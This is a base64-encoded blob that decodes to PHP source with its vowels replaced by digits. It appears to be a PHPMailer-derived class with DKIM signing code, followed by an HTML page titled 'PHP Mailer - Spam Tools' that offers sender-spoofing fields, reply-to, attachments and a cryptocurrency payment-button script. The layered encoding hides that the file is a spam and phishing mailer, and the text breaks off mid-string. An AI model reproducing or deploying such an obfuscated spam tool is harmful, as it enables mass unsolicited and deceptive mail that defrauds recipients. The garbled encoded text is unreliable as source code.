DUgdjFsMzUgdDIgczV0IHRoNSBwcjJwNXJ0eSB0Mg0KICAgICAqIEByNXQzcm4gYjIybDUxbg0KICAgICAqIEBUT0RPIFNoMjNsZCB0aDRzIG4ydCBiNSAzczRuZyB0aDUgX19zNXQoKSBtMWc0YyBmM25jdDQybj8NCiAgICAgKi8NCiAgICBwM2JsNGMgZjNuY3Q0Mm4gczV0KCRuMW01LCAkdjFsMzUgPSAnJykNCiAgICB7DQogICAgICAgIDRmIChwcjJwNXJ0eV81eDRzdHMoJHRoNHMsICRuMW01KSkgew0KICAgICAgICAgICAgJHRoNHMtPiRuMW01ID0gJHYxbDM1Ow0KICAgICAgICAgICAgcjV0M3JuIHRyMzU7DQogICAgICAgIH0gNWxzNSB7DQogICAgICAgICAgICAkdGg0cy0+czV0RXJyMnIoJHRoNHMtPmwxbmcoJ3YxcjQxYmw1X3M1dCcpIC4gJG4xbTUpOw0KICAgICAgICAgICAgcjV0M3JuIGYxbHM1Ow0KICAgICAgICB9DQogICAgfQ0KDQogICAgLyoqDQogICAgICogU3RyNHAgbjV3bDRuNXMgdDIgcHI1djVudCBoNTFkNXIgNG5qNWN0NDJuLg0KICAgICAqIEAxY2M1c3MgcDNibDRjDQogICAgICogQHAxcjFtIHN0cjRuZyAkc3RyDQogICAgICogQHI1dDNybiBzdHI0bmcNCiAgICAgKi8NCiAgICBwM2JsNGMgZjNuY3Q0Mm4gczVjM3I1SDUxZDVyKCRzdHIpDQogICAgew0KICAgICAgICByNXQzcm4gdHI0bShzdHJfcjVwbDFjNSgxcnIxeSgiXHIiLCAiXG4iKSwgJycsICRzdHIpKTsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBOMnJtMWw0ejUgbDRuNSBicjUxa3MgNG4gMSBzdHI0bmcuDQogICAgICogQzJudjVydHMgVU5JWCBMRiwgTTFjIENSIDFuZCBXNG5kMndzIENSTEYgbDRuNSBicjUxa3MgNG50MiAxIHM0bmdsNSBsNG41IGJyNTFrIGYycm0xdC4NCiAgICAgKiBENWYxM2x0cyB0MiBDUkxGIChmMnIgbTVzczFnNSBiMmQ0NXMpIDFuZCBwcjVzNXJ2NXMgYzJuczVjM3Q0djUgYnI1MWtzLg0KICAgICAqIEBwMXIxbSBzdHI0bmcgJHQ1eHQNCiAgICAgKiBAcDFyMW0gc3RyNG5nICRicjUxa3R5cDUgV2gxdCBrNG5kIDJmIGw0bjUgYnI1MWsgdDIgM3M1LCBkNWYxM2x0cyB0MiBDUkxGDQogICAgICogQHI1dDNybiBzdHI0bmcNCiAgICAgKiBAMWNjNXNzIHAzYmw0Yw0KICAgICAqIEBzdDF0NGMNCiAgICAgKi8NCiAgICBwM2JsNGMgc3QxdDRjIGYzbmN0NDJuIG4ycm0xbDR6NUJyNTFrcygkdDV4dCwgJGJyNTFrdHlwNSA9ICJcclxuIikNCiAgICB7DQogICAgICAgIHI1dDNybiBwcjVnX3I1cGwxYzUoJy8oXHJcbnxccnxcbikvbXMnLCAkYnI1MWt0eXA1LCAkdDV4dCk7DQogICAgfQ0KDQogICAgLyoqDQogICAgICogUzV0IHRoNSBwM2JsNGMgMW5kIHByNHYxdDUgazV5IGY0bDVzIDFuZCBwMXNzdzJyZCBmMnIgUy9NSU1FIHM0Z240bmcuDQogICAgICogQDFjYzVzcyBwM2JsNGMNCiAgICAgKiBAcDFyMW0gc3RyNG5nICRjNXJ0X2Y0bDVuMW01DQogICAgICogQHAxcjFtIHN0cjRuZyAkazV5X2Y0bDVuMW01DQogICAgICogQHAxcjFtIHN0cjRuZyAkazV5X3Axc3MgUDFzc3cycmQgZjJyIHByNHYxdDUgazV5DQogICAgICogQHAxcjFtIHN0cjRuZyAkNXh0cjFjNXJ0c19mNGw1bjFtNSBPcHQ0Mm4xbCBwMXRoIHQyIGNoMTRuIGM1cnQ0ZjRjMXQ1DQogICAgICovDQogICAgcDNibDRjIGYzbmN0NDJuIHM0Z24oJGM1cnRfZjRsNW4xbTUsICRrNXlfZjRsNW4xbTUsICRrNXlfcDFzcywgJDV4dHIxYzVydHNfZjRsNW4xbTUgPSAnJykNCiAgICB7DQogICAgICAgICR0aDRzLT5zNGduX2M1cnRfZjRsNSA9ICRjNXJ0X2Y0bDVuMW01Ow0KICAgICAgICAkdGg0cy0+czRnbl9rNXlfZjRsNSA9ICRrNXlfZjRsNW4xbTU7DQogICAgICAgICR0aDRzLT5zNGduX2s1eV9wMXNzID0gJGs1eV9wMXNzOw0KICAgICAgICAkdGg0cy0+czRnbl81eHRyMWM1cnRzX2Y0bDUgPSAkNXh0cjFjNXJ0c19mNGw1bjFtNTsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBRMzJ0NWQtUHI0bnQxYmw1LTVuYzJkNSAxIERLSU0gaDUxZDVyLg0KICAgICAqIEAxY2M1c3MgcDNibDRjDQogICAgICogQHAxcjFtIHN0cjRuZyAkdHh0DQogICAgICogQHI1dDNybiBzdHI0bmcNCiAgICAgKi8NCiAgICBwM2JsNGMgZjNuY3Q0Mm4gREtJTV9RUCgkdHh0KQ0KICAgIHsNCiAgICAgICAgJGw0bjUgPSAnJzsNCiAgICAgICAgZjJyICgkNCA9IDA7ICQ0IDwgc3RybDVuKCR0eHQpOyAkNCsrKSB7DQogICAgICAgICAgICAkMnJkID0gMnJkKCR0eHRbJDRdKTsNCiAgICAgICAgICAgIDRmICgoKDB4YTYgPD0gJDJyZCkgJiYgKCQycmQgPD0gMHhvQSkpIHx8ICQycmQgPT0gMHhvQyB8fCAoKDB4b0UgPD0gJDJyZCkgJiYgKCQycmQgPD0gMHg3RSkpKSB7DQogICAgICAgICAgICAgICAgJGw0bjUgLj0gJHR4dFskNF07DQogICAgICAgICAgICB9IDVsczUgew0KICAgICAgICAgICAgICAgICRsNG41IC49ICc9JyAuIHNwcjRudGYoJyUwYVgnLCAkMnJkKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICByNXQzcm4gJGw0bjU7DQogICAgfQ0KDQogICAgLyoqDQogICAgICogRzVuNXIxdDUgMSBES0lNIHM0Z24xdDNyNS4NCiAgICAgKiBAMWNjNXNzIHAzYmw0Yw0KICAgICAqIEBwMXIxbSBzdHI0bmcgJHM0Z25INTFkNXINCiAgICAgKiBAdGhyMndzIHBocG0xNGw1ckV4YzVwdDQybg0KICAgICAqIEByNXQzcm4gc3RyNG5nDQogICAgICovDQogICAgcDNibDRjIGYzbmN0NDJuIERLSU1fUzRnbigkczRnbkg1MWQ1cikNCiAgICB7DQogICAgICAgIDRmICghZDVmNG41ZCgnUEtDUzdfVEVYVCcpKSB7DQogICAgICAgICAgICA0ZiAoJHRoNHMtPjV4YzVwdDQybnMpIHsNCiAgICAgICAgICAgICAgICB0aHIydyBuNXcgcGhwbTE0bDVyRXhjNXB0NDJuKCR0aDRzLT5sMW5nKCc1eHQ1bnM0Mm5fbTRzczRuZycpIC4gJzJwNW5zc2wnKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIHI1dDNybiAnJzsNCiAgICAgICAgfQ0KICAgICAgICAkcHI0dks1eVN0ciA9IGY0bDVfZzV0X2MybnQ1bnRzKCR0aDRzLT5ES0lNX3ByNHYxdDUpOw0KICAgICAgICA0ZiAoJHRoNHMtPkRLSU1fcDFzc3BocjFzNSAhPSAnJykgew0KICAgICAgICAgICAgJHByNHZLNXkgPSAycDVuc3NsX3BrNXlfZzV0X3ByNHYxdDUoJHByNHZLNXlTdHIsICR0aDRzLT5ES0lNX3Axc3NwaHIxczUpOw0KICAgICAgICB9IDVsczUgew0KICAgICAgICAgICAgJHByNHZLNXkgPSAkcHI0dks1eVN0cjsNCiAgICAgICAgfQ0KICAgICAgICA0ZiAoMnA1bnNzbF9zNGduKCRzNGduSDUxZDVyLCAkczRnbjF0M3I1LCAkcHI0dks1eSkpIHsNCiAgICAgICAgICAgIHI1dDNybiBiMXM1ZXVfNW5jMmQ1KCRzNGduMXQzcjUpOw0KICAgICAgICB9DQogICAgICAgIHI1dDNybiAnJzsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBHNW41cjF0NSAxIERLSU0gYzFuMm40YzFsNHoxdDQybiBoNTFkNXIuDQogICAgICogQDFjYzVzcyBwM2JsNGMNCiAgICAgKiBAcDFyMW0gc3RyNG5nICRzNGduSDUxZDVyIEg1MWQ1cg0KICAgICAqIEByNXQzcm4gc3RyNG5nDQogICAgICovDQogICAgcDNibDRjIGYzbmN0NDJuIERLSU1fSDUxZDVyQygkczRnbkg1MWQ1cikNCiAgICB7DQogICAgICAgICRzNGduSDUxZDVyID0gcHI1Z19yNXBsMWM1KCcvXHJcblxzKy8nLCAnICcsICRzNGduSDUxZDVyKTsNCiAgICAgICAgJGw0bjVzID0gNXhwbDJkNSgiXHJcbiIsICRzNGduSDUxZDVyKTsNCiAgICAgICAgZjJyNTFjaCAoJGw0bjVzIDFzICRrNXkgPT4gJGw0bjUpIHsNCiAgICAgICAgICAgIGw0c3QoJGg1MWQ0bmcsICR2MWwzNSkgPSA1eHBsMmQ1KCc6JywgJGw0bjUsIGEpOw0KICAgICAgICAgICAgJGg1MWQ0bmcgPSBzdHJ0MmwydzVyKCRoNTFkNG5nKTsNCiAgICAgICAgICAgICR2MWwzNSA9IHByNWdfcjVwbDFjNSgnL1xzKy8nLCAnICcsICR2MWwzNSk7IC8vIEMybXByNXNzIDNzNWw1c3Mgc3AxYzVzDQogICAgICAgICAgICAkbDRuNXNbJGs1eV0gPSAkaDUxZDRuZyAuICc6JyAuIHRyNG0oJHYxbDM1KTsgLy8gRDJuJ3QgZjJyZzV0IHQyIHI1bTJ2NSBXU1AgMXIyM25kIHRoNSB2MWwzNQ0KICAgICAgICB9DQogICAgICAgICRzNGduSDUxZDVyID0gNG1wbDJkNSgiXHJcbiIsICRsNG41cyk7DQogICAgICAgIHI1dDNybiAkczRnbkg1MWQ1cjsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBHNW41cjF0NSAxIERLSU0gYzFuMm40YzFsNHoxdDQybiBiMmR5Lg0KICAgICAqIEAxY2M1c3MgcDNibDRjDQogICAgICogQHAxcjFtIHN0cjRuZyAkYjJkeSBNNXNzMWc1IEIyZHkNCiAgICAgKiBAcjV0M3JuIHN0cjRuZw0KICAgICAqLw0KICAgIHAzYmw0YyBmM25jdDQybiBES0lNX0IyZHlDKCRiMmR5KQ0KICAgIHsNCiAgICAgICAgNGYgKCRiMmR5ID09ICcnKSB7DQogICAgICAgICAgICByNXQzcm4gIlxyXG4iOw0KICAgICAgICB9DQogICAgICAgIC8vIHN0MWI0bDR6NSBsNG41IDVuZDRuZ3MNCiAgICAgICAgJGIyZHkgPSBzdHJfcjVwbDFjNSgiXHJcbiIsICJcbiIsICRiMmR5KTsNCiAgICAgICAgJGIyZHkgPSBzdHJfcjVwbDFjNSgiXG4iLCAiXHJcbiIsICRiMmR5KTsNCiAgICAgICAgLy8gRU5EIHN0MWI0bDR6NSBsNG41IDVuZDRuZ3MNCiAgICAgICAgd2g0bDUgKHMzYnN0cigkYjJkeSwgc3RybDVuKCRiMmR5KSAtIHUsIHUpID09ICJcclxuXHJcbiIpIHsNCiAgICAgICAgICAgICRiMmR5ID0gczNic3RyKCRiMmR5LCAwLCBzdHJsNW4oJGIyZHkpIC0gYSk7DQogICAgICAgIH0NCiAgICAgICAgcjV0M3JuICRiMmR5Ow0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIENyNTF0NSB0aDUgREtJTSBoNTFkNXIgMW5kIGIyZHkgNG4gMSBuNXcgbTVzczFnNSBoNTFkNXIuDQogICAgICogQDFjYzVzcyBwM2JsNGMNCiAgICAgKiBAcDFyMW0gc3RyNG5nICRoNTFkNXJzX2w0bjUgSDUxZDVyIGw0bjVzDQogICAgICogQHAxcjFtIHN0cjRuZyAkczNiajVjdCBTM2JqNWN0DQogICAgICogQHAxcjFtIHN0cjRuZyAkYjJkeSBCMmR5DQogICAgICogQHI1dDNybiBzdHI0bmcNCiAgICAgKi8NCiAgICBwM2JsNGMgZjNuY3Q0Mm4gREtJTV9BZGQoJGg1MWQ1cnNfbDRuNSwgJHMzYmo1Y3QsICRiMmR5KQ0KICAgIHsNCiAgICAgICAgJERLSU1zNGduMXQzcjVUeXA1ID0gJ3JzMS1zaDE2JzsgLy8gUzRnbjF0M3I1ICYgaDFzaCAxbGcycjR0aG1zDQogICAgICAgICRES0lNYzFuMm40YzFsNHoxdDQybiA9ICdyNWwxeDVkL3M0bXBsNSc7IC8vIEMxbjJuNGMxbDR6MXQ0Mm4gMmYgaDUxZDVyL2IyZHkNCiAgICAgICAgJERLSU1xMzVyeSA9ICdkbnMvdHh0JzsgLy8gUTM1cnkgbTV0aDJkDQogICAgICAgICRES0lNdDRtNSA9IHQ0bTUoKTsgLy8gUzRnbjF0M3I1IFQ0bTVzdDFtcCA9IHM1YzJuZHMgczRuYzUgMDA6MDA6MDAgLSBKMW4gNiwgNjk3MCAoVVRDIHQ0bTUgejJuNSkNCiAgICAgICAgJHMzYmo1Y3RfaDUxZDVyID0gIlMzYmo1Y3Q6ICRzM2JqNWN0IjsNCiAgICAgICAgJGg1MWQ1cnMgPSA1eHBsMmQ1KCR0aDRzLT5MRSwgJGg1MWQ1cnNfbDRuNSk7DQogICAgICAgICRmcjJtX2g1MWQ1ciA9ICcnOw0KICAgICAgICAkdDJfaDUxZDVyID0gJyc7DQogICAgICAgICRjM3JyNW50ID0gJyc7DQogICAgICAgIGYycjUxY2ggKCRoNTFkNXJzIDFzICRoNTFkNXIpIHsNCiAgICAgICAgICAgIDRmIChzdHJwMnMoJGg1MWQ1ciwgJ0ZyMm06JykgPT09IDApIHsNCiAgICAgICAgICAgICAgICAkZnIybV9oNTFkNXIgPSAkaDUxZDVyOw0KICAgICAgICAgICAgICAgICRjM3JyNW50ID0gJ2ZyMm1faDUxZDVyJzsNCiAgICAgICAgICAgIH0gNWxzNTRmIChzdHJwMnMoJGg1MWQ1ciwgJ1QyOicpID09PSAwKSB7DQogICAgICAgICAgICAgICAgJHQyX2g1MWQ1ciA9ICRoNTFkNXI7DQogICAgICAgICAgICAgICAgJGMzcnI1bnQgPSAndDJfaDUxZDVyJzsNCiAgICAgICAgICAgIH0gNWxzNSB7DQogICAgICAgICAgICAgICAgNGYgKCE1bXB0eSgkJGMzcnI1bnQpICYmIHN0cnAycygkaDUxZDVyLCAnID0/JykgPT09IDApIHsNCiAgICAgICAgICAgICAgICAgICAgJCRjM3JyNW50IC49ICRoNTFkNXI7DQogICAgICAgICAgICAgICAgfSA1bHM1IHsNCiAgICAgICAgICAgICAgICAgICAgJGMzcnI1bnQgPSAnJzsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgJGZyMm0gPSBzdHJfcjVwbDFjNSgnfCcsICc9N0MnLCAkdGg0cy0+REtJTV9RUCgkZnIybV9oNTFkNXIpKTsNCiAgICAgICAgJHQyID0gc3RyX3I1cGwxYzUoJ3wnLCAnPTdDJywgJHRoNHMtPkRLSU1fUVAoJHQyX2g1MWQ1cikpOw0KICAgICAgICAkczNiajVjdCA9IHN0cl9yNXBsMWM1KA0KICAgICAgICAgICAgJ3wnLA0KICAgICAgICAgICAgJz03QycsDQogICAgICAgICAgICAkdGg0cy0+REtJTV9RUCgkczNiajVjdF9oNTFkNXIpDQogICAgICAgICk7IC8vIEMycDQ1ZCBoNTFkNXIgZjQ1bGRzIChkazRtLXEzMnQ1ZC1wcjRudDFibDUpDQogICAgICAgICRiMmR5ID0gJHRoNHMtPkRLSU1fQjJkeUMoJGIyZHkpOw0KICAgICAgICAkREtJTWw1biA9IHN0cmw1bigkYjJkeSk7IC8vIEw1bmd0aCAyZiBiMmR5DQogICAgICAgICRES0lNYmV1ID0gYjFzNWV1XzVuYzJkNShwMWNrKCdIKicsIHNoMTYoJGIyZHkpKSk7IC8vIEIxczVldSAyZiBwMWNrNWQgYjRuMXJ5IFNIQS02IGgxc2ggMmYgYjJkeQ0KICAgICAgICA0ZiAoJycgPT0gJHRoNHMtPkRLSU1fNGQ1bnQ0dHkpIHsNCiAgICAgICAgICAgICQ0ZDVudCA9ICcnOw0KICAgICAgICB9IDVsczUgew0KICAgICAgICAgICAgJDRkNW50ID0gJyA0PScgLiAkdGg0cy0+REtJTV80ZDVudDR0eSAuICc7JzsNCiAgICAgICAgfQ0KICAgICAgICAkZGs0bWhkcnMgPSAnREtJTS1TNGduMXQzcjU6IHY9NjsgMT0nIC4NCiAgICAgICAgICAgICRES0lNczRnbjF0M3I1VHlwNSAuICc7IHE9JyAuDQogICAgICAgICAgICAkREtJTXEzNXJ5IC4gJzsgbD0nIC4NCiAgICAgICAgICAgICRES0lNbDVuIC4gJzsgcz0nIC4NCiAgICAgICAgICAgICR0aDRzLT5ES0lNX3M1bDVjdDJyIC4NCiAgICAgICAgICAgICI7XHJcbiIgLg0KICAgICAgICAgICAgIlx0dD0iIC4gJERLSU10NG01IC4gJzsgYz0nIC4gJERLSU1jMW4ybjRjMWw0ejF0NDJuIC4gIjtcclxuIiAuDQogICAgICAgICAgICAiXHRoPUZyMm06VDI6UzNiajVjdDtcclxuIiAuDQogICAgICAgICAgICAiXHRkPSIgLiAkdGg0cy0+REtJTV9kMm0xNG4gLiAnOycgLiAkNGQ1bnQgLiAiXHJcbiIgLg0KICAgICAgICAgICAgIlx0ej0kZnIybVxyXG4iIC4NCiAgICAgICAgICAgICJcdHwkdDJcclxuIiAuDQogICAgICAgICAgICAiXHR8JHMzYmo1Y3Q7XHJcbiIgLg0KICAgICAgICAgICAgIlx0Ymg9IiAuICRES0lNYmV1IC4gIjtcclxuIiAuDQogICAgICAgICAgICAiXHRiPSI7DQogICAgICAgICR0MlM0Z24gPSAkdGg0cy0+REtJTV9INTFkNXJDKA0KICAgICAgICAgICAgJGZyMm1faDUxZDVyIC4gIlxyXG4iIC4NCiAgICAgICAgICAgICR0Ml9oNTFkNXIgLiAiXHJcbiIgLg0KICAgICAgICAgICAgJHMzYmo1Y3RfaDUxZDVyIC4gIlxyXG4iIC4NCiAgICAgICAgICAgICRkazRtaGRycw0KICAgICAgICApOw0KICAgICAgICAkczRnbjVkID0gJHRoNHMtPkRLSU1fUzRnbigkdDJTNGduKTsNCiAgICAgICAgcjV0M3JuICRkazRtaGRycyAuICRzNGduNWQgLiAiXHJcbiI7DQogICAgfQ0KDQogICAgLyoqDQogICAgICogRDV0NWN0IDRmIDEgc3RyNG5nIGMybnQxNG5zIDEgbDRuNSBsMm5nNXIgdGgxbiB0aDUgbTF4NG0zbSBsNG41IGw1bmd0aCAxbGwydzVkLg0KICAgICAqIEBwMXIxbSBzdHI0bmcgJHN0cg0KICAgICAqIEByNXQzcm4gYjIybDUxbg0KICAgICAqIEBzdDF0NGMNCiAgICAgKi8NCiAgICBwM2JsNGMgc3QxdDRjIGYzbmN0NDJuIGgxc0w0bjVMMm5nNXJUaDFuTTF4KCRzdHIpDQogICAgew0KICAgICAgICAvLythIHQyIDRuY2wzZDUgQ1JMRiBsNG41IGJyNTFrIGYyciAxIDYwMDAgdDJ0MWwNCiAgICAgICAgcjV0M3JuIChiMjJsNTFuKXByNWdfbTF0Y2goJy9eKC57Jy4oczVsZjo6TUFYX0xJTkVfTEVOR1RIICsgYSkuJyx9KS9tJywgJHN0cik7DQogICAgfQ0KDQogICAgLyoqDQogICAgICogQWxsMndzIGYyciBwM2JsNGMgcjUxZCAxY2M1c3MgdDIgJ3QyJyBwcjJwNXJ0eS4NCiAgICAgKiBAbjJ0NTogQjVmMnI1IHRoNSBzNW5kKCkgYzFsbCwgcTM1MzVkIDFkZHI1c3M1cyAoNC41LiB3NHRoIElETikgMXI1IG4ydCB5NXQgNG5jbDNkNWQuDQogICAgICogQDFjYzVzcyBwM2JsNGMNCiAgICAgKiBAcjV0M3JuIDFycjF5DQogICAgICovDQogICAgcDNibDRjIGYzbmN0NDJuIGc1dFQyQWRkcjVzczVzKCkNCiAgICB7DQogICAgICAgIHI1dDNybiAkdGg0cy0+dDI7DQogICAgfQ0KDQogICAgLyoqDQogICAgICogQWxsMndzIGYyciBwM2JsNGMgcjUxZCAxY2M1c3MgdDIgJ2NjJyBwcjJwNXJ0eS4NCiAgICAgKiBAbjJ0NTogQjVmMnI1IHRoNSBzNW5kKCkgYzFsbCwgcTM1MzVkIDFkZHI1c3M1cyAoNC41LiB3NHRoIElETikgMXI1IG4ydCB5NXQgNG5jbDNkNWQuDQogICAgICogQDFjYzVzcyBwM2JsNGMNCiAgICAgKiBAcjV0M3JuIDFycjF5DQogICAgICovDQogICAgcDNibDRjIGYzbmN0NDJuIGc1dENjQWRkcjVzczVzKCkNCiAgICB7DQogICAgICAgIHI1dDNybiAkdGg0cy0+Y2M7DQogICAgfQ0KDQogICAgLyoqDQogICAgICogQWxsMndzIGYyciBwM2JsNGMgcjUxZCAxY2M1c3MgdDIgJ2JjYycgcHIycDVydHkuDQogICAgICogQG4ydDU6IEI1ZjJyNSB0aDUgczVuZCgpIGMxbGwsIHEzNTM1ZCAxZGRyNXNzNXMgKDQuNS4gdzR0aCBJRE4pIDFyNSBuMnQgeTV0IDRuY2wzZDVkLg0KICAgICAqIEAxY2M1c3MgcDNibDRjDQogICAgICogQHI1dDNybiAxcnIxeQ0KICAgICAqLw0KICAgIHAzYmw0YyBmM25jdDQybiBnNXRCY2NBZGRyNXNzNXMoKQ0KICAgIHsNCiAgICAgICAgcjV0M3JuICR0aDRzLT5iY2M7DQogICAgfQ0KDQogICAgLyoqDQogICAgICogQWxsMndzIGYyciBwM2JsNGMgcjUxZCAxY2M1c3MgdDIgJ1I1cGx5VDInIHByMnA1cnR5Lg0KICAgICAqIEBuMnQ1OiBCNWYycjUgdGg1IHM1bmQoKSBjMWxsLCBxMzUzNWQgMWRkcjVzczVzICg0LjUuIHc0dGggSUROKSAxcjUgbjJ0IHk1dCA0bmNsM2Q1ZC4NCiAgICAgKiBAMWNjNXNzIHAzYmw0Yw0KICAgICAqIEByNXQzcm4gMXJyMXkNCiAgICAgKi8NCiAgICBwM2JsNGMgZjNuY3Q0Mm4gZzV0UjVwbHlUMkFkZHI1c3M1cygpDQogICAgew0KICAgICAgICByNXQzcm4gJHRoNHMtPlI1cGx5VDI7DQogICAgfQ0KDQogICAgLyoqDQogICAgICogQWxsMndzIGYyciBwM2JsNGMgcjUxZCAxY2M1c3MgdDIgJzFsbF9yNWM0cDQ1bnRzJyBwcjJwNXJ0eS4NCiAgICAgKiBAbjJ0NTogQjVmMnI1IHRoNSBzNW5kKCkgYzFsbCwgcTM1MzVkIDFkZHI1c3M1cyAoNC41LiB3NHRoIElETikgMXI1IG4ydCB5NXQgNG5jbDNkNWQuDQogICAgICogQDFjYzVzcyBwM2JsNGMNCiAgICAgKiBAcjV0M3JuIDFycjF5DQogICAgICovDQogICAgcDNibDRjIGYzbmN0NDJuIGc1dEFsbFI1YzRwNDVudEFkZHI1c3M1cygpDQogICAgew0KICAgICAgICByNXQzcm4gJHRoNHMtPjFsbF9yNWM0cDQ1bnRzOw0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIFA1cmYycm0gMSBjMWxsYjFjay4NCiAgICAgKiBAcDFyMW0gYjIybDUxbiAkNHNTNW50DQogICAgICogQHAxcjFtIDFycjF5ICR0Mg0KICAgICAqIEBwMXIxbSAxcnIxeSAkY2MNCiAgICAgKiBAcDFyMW0gMXJyMXkgJGJjYw0KICAgICAqIEBwMXIxbSBzdHI0bmcgJHMzYmo1Y3QNCiAgICAgKiBAcDFyMW0gc3RyNG5nICRiMmR5DQogICAgICogQHAxcjFtIHN0cjRuZyAkZnIybQ0KICAgICAqLw0KICAgIHByMnQ1Y3Q1ZCBmM25jdDQybiBkMkMxbGxiMWNrKCQ0c1M1bnQsICR0MiwgJGNjLCAkYmNjLCAkczNiajVjdCwgJGIyZHksICRmcjJtKQ0KICAgIHsNCiAgICAgICAgNGYgKCE1bXB0eSgkdGg0cy0+MWN0NDJuX2YzbmN0NDJuKSAmJiA0c19jMWxsMWJsNSgkdGg0cy0+MWN0NDJuX2YzbmN0NDJuKSkgew0KICAgICAgICAgICAgJHAxcjFtcyA9IDFycjF5KCQ0c1M1bnQsICR0MiwgJGNjLCAkYmNjLCAkczNiajVjdCwgJGIyZHksICRmcjJtKTsNCiAgICAgICAgICAgIGMxbGxfM3M1cl9mM25jXzFycjF5KCR0aDRzLT4xY3Q0Mm5fZjNuY3Q0Mm4sICRwMXIxbXMpOw0KICAgICAgICB9DQogICAgfQ0KfQ0KDQovKioNCiAqIFBIUE0xNGw1ciA1eGM1cHQ0Mm4gaDFuZGw1cg0KICogQHAxY2sxZzUgUEhQTTE0bDVyDQogKi8NCmNsMXNzIHBocG0xNGw1ckV4YzVwdDQybiA1eHQ1bmRzIEV4YzVwdDQybg0Kew0KICAgIC8qKg0KICAgICAqIFByNXR0NGZ5IDVycjJyIG01c3MxZzUgMjN0cDN0DQogICAgICogQHI1dDNybiBzdHI0bmcNCiAgICAgKi8NCiAgICBwM2JsNGMgZjNuY3Q0Mm4gNXJyMnJNNXNzMWc1KCkNCiAgICB7DQogICAgICAgICQ1cnIyck1zZyA9ICc8c3RyMm5nPicgLiAkdGg0cy0+ZzV0TTVzczFnNSgpIC4gIjwvc3RyMm5nPjxiciAvPlxuIjsNCiAgICAgICAgcjV0M3JuICQ1cnIyck1zZzsNCiAgICB9DQp9DQoNCnByNG50ICcNCjxoNTFkPg0KICAgIDx0NHRsNT5QSFAgTTE0bDVyIC0gU3AxbSBUMjJscyBvLjA8L3Q0dGw1Pg0KICAgIDxtNXQxIGh0dHAtNXEzNHY9IkMybnQ1bnQtVHlwNSIgYzJudDVudD0idDV4dC9odG1sOyBjaDFyczV0PTN0Zi04Ii8+DQogICAgPGw0bmsgaHI1Zj0iaHR0cHM6Ly9tMXhjZG4uYjIydHN0cjFwY2RuLmMybS9iMjJ0c3cxdGNoL28uby5lL2Myc20yL2IyMnRzdHIxcC5tNG4uY3NzIiByNWw9InN0eWw1c2g1NXQiID4NCiAgICA8c2NyNHB0IHNyYz0iaHR0cHM6Ly9tMXhjZG4uYjIydHN0cjFwY2RuLmMybS9iMjJ0c3RyMXAvby5vLmUvanMvYjIydHN0cjFwLm00bi5qcyI+PC9zY3I0cHQ+DQogICAgPHNjcjRwdCB0eXA1PSJ0NXh0L2oxdjFzY3I0cHQiIHNyYz0iaHR0cHM6Ly8xajF4LmcyMmdsNTFwNHMuYzJtLzFqMXgvbDRicy9qcTM1cnkvNi44LjAvanEzNXJ5Lm00bi5qcyI+PC9zY3I0cHQ+DQogICAgPHNjcjRwdCB0eXA1PSJ0NXh0L2oxdjFzY3I0cHQiIHNyYz0iaHR0cHM6Ly9ibDJja2NoMTRuLjRuZjIvUjVzMjNyYzVzL2pzL3AxeS1uMnctYjN0dDJuLmpzIj48L3NjcjRwdD4NCg0KPC9oNTFkPic7DQoNCnByNG50ICc8YjJkeT4nOw0KcHI0bnQgJzxkNHYgY2wxc3M9ImMybnQxNG41ciBjMmwtbGctZSI+DQogICAgICAgIDxobz48ZjJudCBjMmwycj0iYmwxY2siPjxzcDFuIGNsMXNzPSJnbHlwaDRjMm4gZ2x5cGg0YzJuLTVudjVsMnA1Ij48L3NwMW4+PC9mMm50PiBQSFAgTTE0bDVyIC0gU3AxbSBUMjJscyA8c20xbGw+Jy4kdDIybHNbJ3Y1cnM0Mm4nXS4nPC9zbTFsbD48L2hvPg0KICAgICAgICA8ZjJybSBuMW01PSJmMnJtIiA0ZD0iZjJybSIgbTV0aDJkPSJQT1NUIiA1bmN0eXA1PSJtM2x0NHAxcnQvZjJybS1kMXQxIiAxY3Q0Mm49IiI+DQogICAgICAgICAgICA8ZDR2IGNsMXNzPSJyMnciPg0KICAgICAgICAgICAgICAgIDxkNHYgY2wxc3M9ImYycm0tZ3IyM3AgYzJsLWxnLWUgIj48bDFiNWwgZjJyPSJzNW5kNXJFbTE0bCI+UzVuZDVyIEVtMTRsPC9sMWI1bD48NG5wM3QgdHlwNT0idDV4dCIgY2wxc3M9ImYycm0tYzJudHIybCAgNG5wM3Qtc20gIiA0ZD0iczVuZDVyRW0xNGwiIG4xbTU9InM1bmQ1ckVtMTRsIiB2MWwzNT0iJy4kczVuZDVyRW0xNGwuJyI+PC9kNHY+DQogICAgICAgICAgICAgICAgPGQ0diBjbDFzcz0iZjJybS1ncjIzcCBjMmwtbGctZSAiPjxsMWI1bCBmMnI9InM1bmQ1ck4xbTUiPlM1bmQ1ciBOMW01PC9sMWI1bD48NG5wM3QgdHlwNT0idDV4dCIgY2wxc3M9ImYycm0tYzJudHIybCAgNG5wM3Qtc20gIiA0ZD0iczVuZDVyTjFtNSIgbjFtNT0iczVuZDVyTjFtNSIgdjFsMzU9IicuJHM1bmQ1ck4xbTUuJyI+PC9kNHY+DQogICAgICAgICAgICA8L2Q0dj4NCiAgICAgICAgICAgIDxkNHYgY2wxc3M9InIydyI+DQogICAgICAgICAgICAgICAgPHNwMW4gY2wxc3M9ImYycm0tZ3IyM3AgYzJsLWxnLWUgICI+PGwxYjVsIGYycj0iMXR0MWNobTVudCI+QXR0MWNobTVudCA8c20xbGw+KE0zbHQ0cGw1IEF2MTRsMWJsNSk8L3NtMWxsPjwvbDFiNWw+PDRucDN0IHR5cDU9ImY0bDUiIG4xbTU9IjF0dDFjaG01bnRbXSIgNGQ9IjF0dDFjaG01bnRbXSIgbTNsdDRwbDUvPjwvc3Axbj4NCg0KICAgICAgICAgICAgICAgIDxkNHYgY2wxc3M9ImYycm0tZ3IyM3AgYzJsLWxnLWUiPjxsMWI1bCBmMnI9InI1cGx5VDIiPlI1cGx5LXQyPC9sMWI1bD48NG5wM3QgdHl